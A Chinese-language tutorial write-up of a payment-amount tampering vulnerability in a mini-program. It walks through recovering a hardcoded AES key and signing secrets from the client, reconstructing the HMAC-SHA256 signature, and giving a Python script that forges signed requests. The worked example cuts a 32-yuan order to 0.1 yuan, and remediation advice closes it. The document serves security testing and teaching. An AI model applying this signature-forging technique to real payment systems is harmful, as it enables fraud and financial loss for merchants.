从客户端加密配置到伪造签名:支付金额篡改漏洞挖掘实战教学文档
1. 漏洞背景与核心思路
核心问题:在聚合支付链路中,若客户端能够独立生成合法的支付请求签名,且支付系统在金额、订单绑定上存在校验缺陷,则可导致攻击者在支付阶段任意篡改支付金额,造成资金损失。
漏洞本质:该漏洞并非简单的“前端参数可修改”,而是签名验证边界失效、业务逻辑验证缺失与关键参数未绑定三个层面缺陷叠加形成的支付完整性破坏。
挖掘方法论:遵循“由表及里、逐步深入”的原则:
- 发现可疑点:定位到支付核心接口,观察参数传递方式。
- 验证签名归属:确定签名由客户端生成还是服务端控制,这是决定漏洞是否成立的关键前提。
- 逆向关键材料:若签名在客户端生成,则需逆向获取签名所需的密钥(
appKey)和标识(appId)。 - 还原签名算法:完整复现客户端签名逻辑,确保可离线构造合法签名。
- 构造攻击链:结合业务逻辑,测试能否在真实订单的支付环节篡改金额等关键参数。
2. 第一阶段:侦察与可疑接口定位
目标:找到支付流程中的核心接口,并初步评估其风险。
操作步骤:
- 业务梳理:分析目标应用(如小程序)的业务模块,确定涉及支付的场景(如洗车、购买券包)。
- 流量抓取:使用抓包工具(如Burp Suite、Charles、Fiddler)拦截小程序网络请求。
- 接口识别:寻找统一或最终的支付拉起接口。案例中目标接口为:
POST /xxx/xxx/get-wx-payurl - 参数分析:审查请求体,发现高价值字段被明文传输,初步风险点显现。
关键观察:{ "vaMchntNo": "...", // 商户号 "vaTermNo": "...", // 终端号 "totalAmount": 3200, // **支付金额(单位:分)** "notifyUrl": "...", // 支付回调地址 "mchntOrderId": "...", // 商户订单号 "subOpenId": "...", // 用户标识 "subAppId": "...", // 子应用ID "instMid": "xxx", // 机构商户号 "tradeType": "xxxxxxx", // 交易类型 "msgType": "wx.unifiedOrder", "loginToken": "..." }totalAmount(金额)由前端直接提交。但这仅是表象,不能直接断定漏洞存在,因为接口可能受签名保护。
3. 第二阶段:逆向分析签名机制归属
核心问题:请求的签名(通常位于Authorization请求头)由谁控制?
分析步骤:
- 静态代码分析:对小程序代码包进行反编译或解包,搜索与支付请求、签名相关的函数。
- 定位签名逻辑:在代码中追踪支付请求的封装过程。案例中发现,
Authorization头的生成逻辑如下:
这表明签名是客户端本地调用函数生成,而非从服务端获取。// 伪代码示意 Authorization = getAuthorization(body, appId, appKey, "post") - 签名归属结论:
- ❌ 不是“服务端生成一次性签名下发给客户端”。
- ❌ 不是“客户端用Token向服务端换取临时签名”。
- ✅ 是“客户端本地使用固定的
appId和appKey计算签名”。
此时,漏洞成立的可能性大幅提升。攻击者若能获取appId和appKey,即可独立签名。
4. 第三阶段:逆向获取签名密钥 (appId & appKey)
背景:出于“安全”考虑,开发人员常将配置信息(如appId, appKey)加密后存储在客户端。
分析步骤:
- 定位配置存储:在代码中搜索
appId、appKey、config、encrypt等关键词,找到加密配置的存储位置(如一个名为CONFIG.data的变量)。 - 分析解密逻辑:找到加载或使用该配置的代码,还原其解密过程。案例中逻辑抽象如下:
const encryptedConfig = CONFIG.data; // 客户端存储的密文配置 const aesKey = "固定字符串"; // **硬编码在客户端的AES密钥** const plain = AES_ECB_Decrypt(encryptedConfig, aesKey); // 本地解密 const runtimeConfig = JSON.parse(plain); // 解析为配置对象 - 密钥恢复:
- 条件:密文(
encryptedConfig)和密钥(aesKey)均存储在客户端。 - 方法:可通过动态调试(运行时打印)或静态分析(提取密文和密钥,编写脚本解密)获取明文配置。
- 结果:成功恢复包含
appId和appKey的配置对象。appId = 8a81...0990 appKey = b8a3...30e5
- 条件:密文(
5. 第四阶段:还原签名算法
目标:精确理解签名函数的计算步骤,确保可编程复现。
算法还原(基于案例分析):
签名生成是一个标准的基于HMAC-SHA256的流程:
-
请求体标准化:将请求体JSON对象序列化为紧凑格式(无空白字符)。
canonical_body = json.dumps(body, separators=(",", ":")) # 关键!确保与服务端规则一致 -
计算请求体哈希:对标准化后的请求体字符串计算SHA256。
body_hash = hashlib.sha256(canonical_body.encode()).hexdigest() -
拼接签名字符串:按固定格式拼接以下元素:
appIdtimestamp(时间戳,格式如YYYYMMDDHHMMSS)nonce(随机数)body_hash(上一步的结果)
raw_string = appId + timestamp + nonce + body_hash -
计算HMAC签名:使用
appKey作为密钥,对拼接后的字符串进行HMAC-SHA256计算。hmac_result = hmac.new(appKey.encode(), raw_string.encode(), hashlib.sha256).digest() -
Base64编码:将HMAC结果进行Base64编码,得到最终的签名。
signature = base64.b64encode(hmac_result).decode()
最终输出:将signature填入HTTP请求的Authorization头中。
6. 第五阶段:构造攻击请求与复现
目标:编写脚本,自动化生成带有合法签名的攻击请求。
操作步骤:
-
编写签名脚本:根据第四阶段还原的算法编写Python脚本。
import json, hashlib, hmac, base64, random, datetime APP_ID = "8a81...0990" # 逆向得到的appId APP_KEY = "b8a3...30e5" # 逆向得到的appKey def canonical_json(data): return json.dumps(data, ensure_ascii=False, separators=(",", ":")) def generate_signature(body): # 1. 标准化请求体 body_str = canonical_json(body) # 2. 计算body hash body_hash = hashlib.sha256(body_str.encode('utf-8')).hexdigest() # 3. 生成时间戳和随机数 timestamp = datetime.datetime.now().strftime("%Y%m%d%H%M%S") nonce = str(random.randint(1000000000, 9999999999)) # 4. 拼接签名字符串 raw = f"{APP_ID}{timestamp}{nonce}{body_hash}" # 5. 计算HMAC-SHA256并Base64 sign = hmac.new(APP_KEY.encode('utf-8'), raw.encode('utf-8'), hashlib.sha256) signature = base64.b64encode(sign.digest()).decode('ascii') # 6. 构造Authorization头(格式可能为"Bearer {signature}"或直接是signature) auth_header = f"Bearer {signature}" return auth_header, timestamp, nonce, body_str -
篡改请求参数:在
body.json中,将totalAmount字段修改为攻击目标金额(例如,将3200分改为10分)。{ "vaMchntNo": "...", ..., "totalAmount": 10, // 篡改金额为0.1元 ... } -
生成并发送攻击请求:
- 运行脚本,为篡改后的
body生成新的Authorization头、时间戳和随机数。 - 在Burp Suite Repeater中,用新生成的
Authorization头、timestamp、nonce以及篡改后的body替换原请求中的对应部分。 - 发送请求。
- 运行脚本,为篡改后的
-
验证结果:检查服务端响应。若返回
respCode为成功码(如0000),且返回的支付参数中totalAmount为篡改后的值,则证明签名伪造成功,服务端接受了被篡改的请求。
7. 第六阶段:在真实业务链中验证漏洞危害
目标:证明漏洞可在真实、已创建订单的支付环节被利用,而非仅能构造虚拟请求。
攻击链复现:
-
创建真实业务订单:
- 在目标小程序中,正常操作创建一个真实订单(如洗车订单,金额32元)。
- 抓包获取下单接口的成功响应,记录
mchntOrderId(商户订单号)、payAmount(32元)等信息。此步骤证明前置业务逻辑正常,订单真实有效。
-
在支付环节发起篡改攻击:
- 在调用支付拉起接口 (
/get-wx-payurl) 时,使用上一步获得的真实mchntOrderId,但将totalAmount改为10(即0.1元)。 - 使用第五阶段的脚本,为此篡改后的请求生成合法签名。
- 发送请求。
- 结果:服务端返回成功 (
respCode: 0000),并生成了对应totalAmount=10的支付凭证 (miniPayRequest)。攻击者可用此凭证仅支付0.1元完成原定32元的订单。
- 在调用支付拉起接口 (
8. 漏洞原理深度总结
该高危漏洞是三个层面安全边界同时失效的结果:
-
签名边界失效:
- 根本原因:签名密钥 (
appKey) 和算法可被客户端逆向获取。 - 后果:签名从“服务端控制的身份与完整性凭证”降级为“客户端可自主生成的普通参数”,失去了其安全意义。攻击者可对任意请求内容生成合法签名。
- 根本原因:签名密钥 (
-
业务订单绑定失效:
- 根本原因:支付接口 (
/get-wx-payurl) 没有与前置订单创建接口进行强状态校验。 - 具体表现:支付接口仅验证
mchntOrderId的格式或存在性,而未验证该订单号对应的金额、状态、所属用户是否与当前支付请求匹配。攻击者可以“借用”任何一个有效订单号来发起支付请求。
- 根本原因:支付接口 (
-
金额绑定失效:
- 根本原因:支付接口信任了客户端传来的
totalAmount,且未与数据库中存储的订单金额进行比对。 - 后果:即使攻击者使用了一个真实有效的
mchntOrderId,他仍然可以指定一个任意的、远低于原订单的金额进行支付,而服务端错误地以此金额创建了支付会话。
- 根本原因:支付接口信任了客户端传来的
三重失效叠加,使得攻击者能够:
- 脱离官方客户端,构造任意支付请求。
- 绑定到任何一个真实的业务订单。
- 任意设定该订单的支付金额。
最终实现了在支付环节对任意订单进行任意金额的篡改,构成严重的业务逻辑漏洞与资金安全风险。
9. 修复建议
-
签名机制修复:
- 将签名密钥移至服务端:
appKey绝不应存放在客户端。所有涉及资金交易的请求,其签名应在服务端生成,或使用不可导出的硬件安全模块(HSM)技术。 - 使用临时令牌:可为每个会话或请求下发一次性使用的签名令牌,替代固定的
appKey。
- 将签名密钥移至服务端:
-
强化业务逻辑校验:
- 状态与金额绑定:在支付接口中,必须用
mchntOrderId查询数据库中的原始订单,严格校验请求中的totalAmount与库中记录是否完全一致,同时校验订单状态是否为“待支付”。 - 幂等性与防重放:引入流水号或令牌机制,防止同一支付订单被重复发起。
- 状态与金额绑定:在支付接口中,必须用
-
后端完整性校验:
- 关键参数服务器端重算:金额、商品ID等核心参数,不应完全信任客户端输入。支付时,服务端应根据订单ID从自己数据库中取出金额,用于后续的支付渠道交互。
-
客户端配置安全:
- 避免在客户端存储加解密密钥。即使加密存储,密钥也应从服务端动态获取,并与设备、会话等信息绑定,增加逆向和复现的难度。
10. 拓展挖掘思路
- 模式识别:关注所有涉及“客户端加密配置”的场景,特别是使用对称加密(如AES)且密钥硬编码的情况。
- 签名审计:对应用中的所有签名、令牌(Token)生成点进行审计,判断其密钥是否可被客户端获取,算法是否可被完全复现。
- 逻辑链路审计:对涉及状态转变的业务链路(如下单->支付->完成)进行完整跟踪,检查每个环节的输入参数是否都经过服务端严格的关联性校验。
- 工具化:将签名算法复现的过程工具化,便于在测试中快速对目标接口的请求进行重签名和参数篡改测试。